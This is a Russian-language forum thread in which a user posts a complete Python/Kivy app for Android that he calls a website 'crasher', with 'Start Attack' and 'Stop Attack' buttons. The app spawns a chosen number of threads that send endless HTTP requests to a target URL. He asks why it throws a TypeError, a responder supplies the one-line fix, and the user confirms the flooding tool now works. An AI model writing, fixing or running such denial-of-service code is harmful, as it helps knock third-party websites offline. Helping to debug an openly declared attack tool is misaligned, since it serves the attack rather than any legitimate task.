1 / 1 / 1
Регистрация: 09.04.2022
Сообщений: 32
1

Ошибка takes 1 positional argument but 33 were

16.10.2022, 15:17. Показов 696. Ответов 3

Author24 — интернет-сервис помощи студентам
Доброго времени суток. Хочу сделать Крашер сайтов для андроид нашел скрипт в интернете протестил(крашет) начал делать по андроид с использованием библиотеки kivy и столкнулся с ошибкой takes 1 positional argument but 33 were, да я переводил что значить я в один аргумент пытаюсь засунуть 33 только я не понимаю где взялось эти 33 значения
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.boxlayout import BoxLayout
from kivy.properties import StringProperty
from kivy.uix.button import Button
from kivy.uix.textinput import TextInput
 
import threading
import requests
 
KV = """
MyBL:
        orientation: "vertical"
        size_hint: (0.95, 0.95)
        pos_hint: {"center_x": 0.5, "center_Y": 0.5}
 
        url: URL_site.text
        threads_str: threads_input.text
        Label:
                font_size: "30sp"
                text: root.data_label
 
        TextInput:
                id: URL_site
                multiline: False
                padding_y: (5,5)
                size_hint: (1, 0.5)
 
        TextInput:
                id: threads_input
                input_filter: "int"
                multiline: False
                padding_y: (5,5)
                size_hint: (1, 0.5)
 
        Button:
                text: "Начать Атаку"
                bold: True
                background_color: '#00FFCE'
                size_hint: (1, 0.5)
                on_press: root.startAttack()
 
        Button:
                text: "Закончить Атаку"
                bold: True
                background_color: '#00FFCE'
                size_hint: (1, 0.5)
                on_press: root.ExitAttack()
 
        Label:
                id: console_label
                font_size: "15sp"
                text: root.console
"""
 
class MyBL(BoxLayout):
 
    info_True = False
    data_label = StringProperty("DodoSer")
    console = StringProperty("console")
 
    url = StringProperty()
    threads_str = StringProperty()
    
    def startAttack(self):
 
        if not self.url.__contains__("http"):
            threads = int(self.threads_str)
            self.ids['console_label'].text = "URL-адрес не содержит http или https!"
        else:
            threads = int(self.threads_str)
            info_True = True
            self.ids['console_label'].text = "Информация правдива"
 
        while info_True:
 
            def dos(target):
                while True:
                    try:
                        res = requests.get(target)
                        self.ids['console_label'].text = "Атака началась!"
                    except requests.exceptions.ConnectionError:
                        self.ids['console_label'].text = "[+] " + "Ошибка подключения!"
                        threads = 20
 
            for i in range(0, threads):
                thr = threading.Thread(target=dos, args=(self.url))
                thr.start()
                self.ids['console_label'].text = str(i + 1) + " Поток запущен!"
        
 
    def ExitAttack(self):
        info_True = False
 
class MyApp(App):
    running = True
 
    url = StringProperty()
    threads = StringProperty()
 
    def build(self):
            
        return Builder.load_string(KV)
 
    def on_stop(self):
        self.running = False
 
MyApp().run()
и так переходим к самой ошибке она находится в классе MyBL()
Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class MyBL(BoxLayout):
 
    info_True = False
    data_label = StringProperty("DodoSer")
    console = StringProperty("console")
 
    url = StringProperty()
    threads_str = StringProperty()
    
    def startAttack(self):
 
        if not self.url.__contains__("http"):
            threads = int(self.threads_str)
            self.ids['console_label'].text = "URL-адрес не содержит http или https!"
        else:
            threads = int(self.threads_str)
            info_True = True
            self.ids['console_label'].text = "Информация правдива"
 
        while info_True:
 
            def dos(target): вот тут находится dos
                while True:
                    try:
                        res = requests.get(target)
                        self.ids['console_label'].text = "Атака началась!"
                    except requests.exceptions.ConnectionError:
                        self.ids['console_label'].text = "[+] " + "Ошибка подключения!"
                        threads = 20
 
            for i in range(0, threads):
                thr = threading.Thread(target=dos, args=(self.url)) # тут я пытаюсь закинуть в переменную target 33 dos
                thr.start()
                self.ids['console_label'].text = str(i + 1) + " Поток запущен!"
        
 
    def ExitAttack(self):
        info_True = False
буду благодарен если поможете с этой проблеммой
0
Лучшие ответы (1)
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
16.10.2022, 15:17
Ответы с готовыми решениями:

Ошибка регистрации: login() takes 1 positional argument but 2 were given
Привет всем. Когда заполняю форму все четко проходит но вылетает ошибка: login() takes 1 positional...

Ошибка TypeError: Dispatcher.__init__() takes 1 positional argument but 2 were given
Пишу Телеграмм бота на pythone. Выдает ошибку: Traceback (most recent call last): File...

Takes 1 positional argument but 2 were given
Помогите пожалуйста,выдает ошибку sender() takes 1 positional argument but 2 were given код: ...

Ошибка "TypeError: start() takes 1 positional argument but 2 were given"
При запуске выдаёт ошибку: "TypeError: start() takes 1 positional argument but 2 were given", если...

TypeError: preveiw_files() takes 1 positional argument but 2 were given
Добрый день. Не так давно начал осваивать Python, в том числе и создание графического интерфейса....

3
2430 / 1473 / 633
Регистрация: 01.11.2021
Сообщений: 2,269
16.10.2022, 15:35 2
Лучший ответ Сообщение было отмечено KredaoGames как решение

Решение

Тут кортеж вроде должен быть. Запятую добавь.
Python
1
thr = threading.Thread(target=dos, args=(self.url,))
1
1 / 1 / 1
Регистрация: 09.04.2022
Сообщений: 32
16.10.2022, 15:42  [ТС] 3
Спасибо большое все работает!
а и да кстати могли вы бы подсказать как чтобы Time.sleep(1) только останавливал цикл а не весь код
0
2430 / 1473 / 633
Регистрация: 01.11.2021
Сообщений: 2,269
16.10.2022, 15:46 4
KredaoGames,
я с потоками не особо пока дружу, но вроде никак в данном случае.
0
16.10.2022, 15:46
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
16.10.2022, 15:46
Помогаю со студенческими работами здесь

TypeError: __getCoordX() takes 1 positional argument but 2 were given
Подскажите, что не так с моим кодом. При его запуске вызывается ошибка : TypeError: __getCoordX()...

Ошибка: TypeError: weather_at_place() takes 2 positional arguments but 3 were given
Traceback (most recent call last): File "C:\py\w2.py", line 22, in <module> observation =...

Ошибка missing 1 required positional argument: 'self'
всем привет. в этом коде: from tkinter import* class Main(): def __init__(self): tk=Tk()...

Ошибка TypeError: on_message() missing 1 required positional argument: 'ctx'
Пишу простенького бота для своего сервера дискорд. хотел сделать приветствие с @пингом_автора, но...

SyntaxError: positional argument follows keyword argument
Прошу помочь, где функция clicked1 пишет ошибку SyntaxError: positional argument follows keyword...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
4
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru